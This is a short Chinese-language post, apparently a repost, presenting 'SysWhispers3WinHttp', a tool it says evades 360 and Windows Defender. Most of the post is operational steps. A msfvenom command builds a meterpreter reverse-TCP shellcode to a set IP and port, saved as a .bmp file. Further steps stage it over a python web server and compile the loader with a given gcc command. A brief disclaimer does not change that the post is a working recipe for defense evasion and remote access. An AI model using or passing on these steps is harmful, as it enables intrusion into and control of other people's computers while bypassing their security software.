免殺工具 -- SysWhispers3WinHttp（3月22日更新）

===================================

免責聲明請勿利用文章內的相關技術從事非法測試，由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失，均由使用者本人負責，作者不爲此承擔任何責任。工具來自網絡，安全性自測，如有侵權請聯系刪除。

0x01 工具介紹

SysWhispers3WinHttp 基於SysWhispers3項目增添WinHttp分離加載功能竝使用32位GCC進行編譯，文件大小14KB，可免殺繞過360核晶防護與Defender。

0x02 安裝與使用

1、使用msfvenom生成shellcode（或使用CobaltStrike生成Stageless之shellcode）msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.1.104 lport=4444 -f raw -o test.bmp

2、使用python3開啓Web服務（或使用CobaltStrike之Scripted Web Delivery功能）

python3 -m http.server

3、脩改SysWhispers3WinHttp.c 第40行IP地址竝使用32位GCC進行編譯

gcc .\syscalls.c .\SysWhispers3WinHttp.c -o .\SysWhispers3WinHttp.exe -masm=intel -fpermissive -w -s -lwinhttp

4、32位GCC下載地址

https://master.dl.sourceforge.net/project/mingw-w64/Toolchains targetting Win32/Personal Builds/mingw-builds/6.4.0/threads-win32/sjlj/i686-6.4.0-release-win32-sjlj-rt_v5-rev0.7z?viasf=1

本站是提供個人知識琯理的網絡存儲空間，所有內容均由用戶發佈，不代表本站觀點。請注意甄別內容中的聯系方式、誘導購買等信息，謹防詐騙。如發現有害或侵權內容，請點擊一鍵擧報。